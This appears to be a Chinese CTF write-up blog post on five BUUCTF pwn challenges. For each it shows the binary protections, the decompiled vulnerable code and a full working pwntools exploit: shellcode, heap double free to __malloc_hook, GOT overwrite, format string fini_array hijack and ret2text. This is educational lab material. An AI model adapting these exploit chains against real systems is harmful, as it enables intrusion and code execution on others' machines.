BUUCTF pwn wp 116 - 120

[BSidesCF 2019]Runit

[BSidesCF 2019]Runit$ file runit;checksec runit 
runit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdd5061644dc69c2e4f2a0e98091901b4591be57, not stripped
[*] '/home/pwn/桌面/[BSidesCF 2019]Runit/runit'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [esp+8h] [ebp-10h]

  buf = mmap(0, 0x400u, 7, 34, 0, 0);
  alarm(0xAu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Send me stuff!!");
  if ( read(0, buf, 0x400u) < 0 )
  {
    puts("Error reading!");
    exit(1);
  }
  ((void (*)(void))buf)();
  return 0;
}

发现是mmap申请的buf, 所以NX保护没啥意义, 直接shellcode即可

from pwn import *

url, port = "node4.buuoj.cn", 28520
filename = "./runit"
elf = ELF(filename)
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    payload = asm(shellcraft.sh())
    io.sendlineafter('Send me stuff!!\n', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

hitcon_2018_children_tcache

hitcon_2018_children_tcache$ file HITCON_2018_children_tcache;checksec HITCON_2018_children_tcache
HITCON_2018_children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped
[*] '/home/pwn/桌面/hitcon_2018_children_tcache/HITCON_2018_children_tcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // rax

  sub_AEB();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = choice(a1, a2);
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        delete();
      }
      else
      {
        if ( v3 == 4 )
          _exit(0);
LABEL_13:
        a1 = (__int64)"Invalid Choice";
        puts("Invalid Choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

add的读取函数

_BYTE *__fastcall sub_BC8(__int64 s, unsigned int size)
{
  _BYTE *result; // rax
  int chk; // [rsp+1Ch] [rbp-4h]

  chk = __read_chk(0LL, s, size, size);
  if ( chk <= 0 )
  {
    puts("read error");
    _exit(1);
  }
  result = (_BYTE *)*(unsigned __int8 *)(chk - 1LL + s);
  if ( (_BYTE)result == 10 )
  {
    result = (_BYTE *)(chk - 1LL + s);
    *result = 0;
  }
  return result;
}

add

unsigned __int64 add()
{
  int i; // [rsp+Ch] [rbp-2034h]
  char *dest; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char s[8216]; // [rsp+20h] [rbp-2020h] BYREF
  unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(s, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = choice();
  if ( size > 0x2000 )
    exit(-2);
  dest = (char *)malloc(size);
  if ( !dest )
    exit(-1);
  printf("Data:");
  sub_BC8(s, (unsigned int)size);
  strcpy(dest, s);
  qword_202060[i] = dest;
  qword_2020C0[i] = size;
  return __readfsqword(0x28u) ^ v5;
}

存在off-by-one漏洞, strcpy之后多出一个字节null

delete函数

int delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = choice();
  if ( v1 > 9 )
    exit(-3);
  if ( *((_QWORD *)&qword_202060 + v1) )
  {
    memset(*((void **)&qword_202060 + v1), 218, qword_2020C0[v1]);
    free(*((void **)&qword_202060 + v1));
    *((_QWORD *)&qword_202060 + v1) = 0LL;
    qword_2020C0[v1] = 0LL;
  }
  return puts(":)");
}

虽然没有UAF, 但是tcache不检查free的chunk是否相同, 所以依然存在double free (double free通过主结构体的两个指向同一个chunk的指针完成, 需要先布局堆
漏洞利用: off-by-one(off-by-null)做堆风水, unsorted bin attack泄露libc基址, 再tcache attack double free打__malloc_hook到one gadget
(堆布局细节写在注释里了, 总结起来就是构造 tcache bin 和 unsorted bin 的chunk重叠, 堆风水的过程要多调试才能理解

from pwn import *

url, port = "node4.buuoj.cn", 28415
filename = "./HITCON_2018_children_tcache"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, content):
    io.sendlineafter('Your choice: ', '1')
    io.sendlineafter('Size:', str(size))
    io.sendafter('Data:', content)

def show(idx):
    io.sendlineafter('Your choice: ', '2')
    io.sendlineafter('Index:', str(idx))

def delete(idx):
    io.sendlineafter('Your choice: ', '3')
    io.sendlineafter('Index:', str(idx))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

def pwn():
    one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]

    add(0x500, 'chunk0') # ptr0
    add(0x68, 'chunk1') # ptr1
    add(0x5f0, 'chunk2') # ptr2
    add(0x20, 'chunk3') # divide chunks from top chunk

    delete(1)
    delete(0)
    # B()
    for i in range(9): # downcount size adding sets presize of chunk2 to 0
        add(0x68 - i, cyclic(0x68 - i))
        delete(0)
    # B()
    add(0x68, cyclic(0x60) + p64(0x580)) # ptr0(points to tcache chunk): forge chunk0 to 0x70 + 0x510 = 0x580 
    delete(2) # merge chunk0 and chunk2 get 0x580 + 0x600 = 0xb80 unsorted bin chunk
    add(0x508, 'chunk4') # ptr1: depart chunk0 from unsorted bin 0xb80 - 0x510 = 0x670
                         # tcache bin and unsorted bin remaining chunk share the same address
                         # now tcache ptr0 points to unsorted bin chunk, and the fd is main_arena + 96 
    # B()
    show(0) # unsorted bin attack leak libc
    malloc_hook_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x70
    libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
    one_gadget = libc_base + one_gadgets[1]
    lf('libc base address', libc_base)
    lf('one gadget address', one_gadget)

    add(0x68, 'chunk5') # ptr2: depart tcache chunk from unsorted bin remaining chunk
    delete(0) # ptr0 and ptr2 
    delete(2) # point to the same chunk, double free
    add(0x68, p64(malloc_hook_addr))
    add(0x68, 'whatever')
    add(0x68, p64(one_gadget))

    io.sendlineafter('Your choice: ', '1')
    io.sendlineafter('Size:', '233')


if __name__ == "__main__":
    pwn()
    io.interactive()

lctf2016_pwn200

lctf2016_pwn200$ file pwn200;checksec pwn200 
pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped
[*] '/home/pwn/桌面/lctf2016_pwn200/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
__int64 sub_400A8E()
{
  __int64 i; // [rsp+10h] [rbp-40h]
  char v2[48]; // [rsp+20h] [rbp-30h] BYREF

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to ISCC~ \n", v2);
  puts("give me your id ~~?");
  sub_4007DF();
  return sub_400A29();
}

这里可以泄露buf地址(输入非'\n'结尾的字符串, 可以打印栈帧), 通过main_ebp计算buf (偏移通过调试看栈帧确定

__int64 sub_400A29()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, buf, 0x40uLL);
  strcpy(dest, buf);
  ptr = dest;
  return sub_4009C4();
}

strcpy栈溢出, buf可以溢出到dest指针地址处, 修改dest指针

漏洞利用: 先劫持dest指针到free@got, 而后打free@got到shellcode执行

from pwn import *

url, port = "node4.buuoj.cn", 28998
filename = "./pwn200"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    free_got = elf.got['free']
    shellcode = asm(shellcraft.sh()).ljust(48, b'\x0f')
    io.sendafter('u?\n', shellcode)

    main_ebp = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    shellcode_addr = main_ebp - 0x50
    lf('main ebp address', main_ebp)
    lf('shellcode address', shellcode_addr)

    io.sendline('0')

    payload = p64(shellcode_addr).ljust(0x38, b'\x00') + p64(free_got)
    io.send(payload)
    io.sendlineafter('choice :', '2')


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_sw_1

ciscn_2019_sw_1$ file ciscn_2019_sw_1; checksec ciscn_2019_sw_1 
ciscn_2019_sw_1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5c0ab0fee41a1b981230014b04c67a2ca0aa51c, not stripped
[*] '/home/pwn/桌面/ciscn_2019_sw_1/ciscn_2019_sw_1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[68]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", format);
  printf("Hello ");
  printf(format);
  return 0;
}

fmt漏洞
程序在结束的时候会调用fini.array函数指针数组中的每一个回调函数

在这里插入图片描述
还因为给了system, 所以都不需要泄露libc
在这里插入图片描述

把printf@got改成system地址, 并且将fini.array[0]改成main地址, 重复利用printf函数, 第二次输入/bin/sh

from pwn import *

url, port = "node4.buuoj.cn", 25559
filename = "./ciscn_2019_sw_1"
elf = ELF(filename)
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
    # print(len("%2052c%xx$hn%31692c%xx$hn%356c%xx$hn")) # 36 / 4 = 9, 9 + 3 = 12
    io.sendlineafter("What's your name?\n", payload)

    io.sendlineafter("What's your name?\n", '/bin/sh\x00')

if __name__ == "__main__":
    pwn()
    io.interactive()

suctf_2018_stack

suctf_2018_stack$ file SUCTF_2018_stack;checksec SUCTF_2018_stack 
SUCTF_2018_stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b2842040168e718fe077a170b5ad273fbb0d28d6, not stripped
[*] '/home/pwn/桌面/suctf_2018_stack/SUCTF_2018_stack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(" ____  _   _  ____ _____ _____ ");
  puts("/ ___|| | | |/ ___|_   _|  ___|");
  puts("\\___ \\| | | | |     | | | |_   ");
  puts(" ___) | |_| | |___  | | |  _|  ");
  puts("|____/ \\___/ \\____| |_| |_|    ");
  puts("                               ");
  puts("============================");
  return read(0, buf, 0x30uLL);
}

在这里插入图片描述

ret2text, ubuntu18, 0x10对齐栈

from pwn import *

url, port = "node4.buuoj.cn", 25984
context(arch="amd64", os="linux")

io = remote(url, port)

def pwn():
    back_door = 0x0000000000400676 + 1
    payload = cyclic(0x20 + 8) + p64(back_door)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值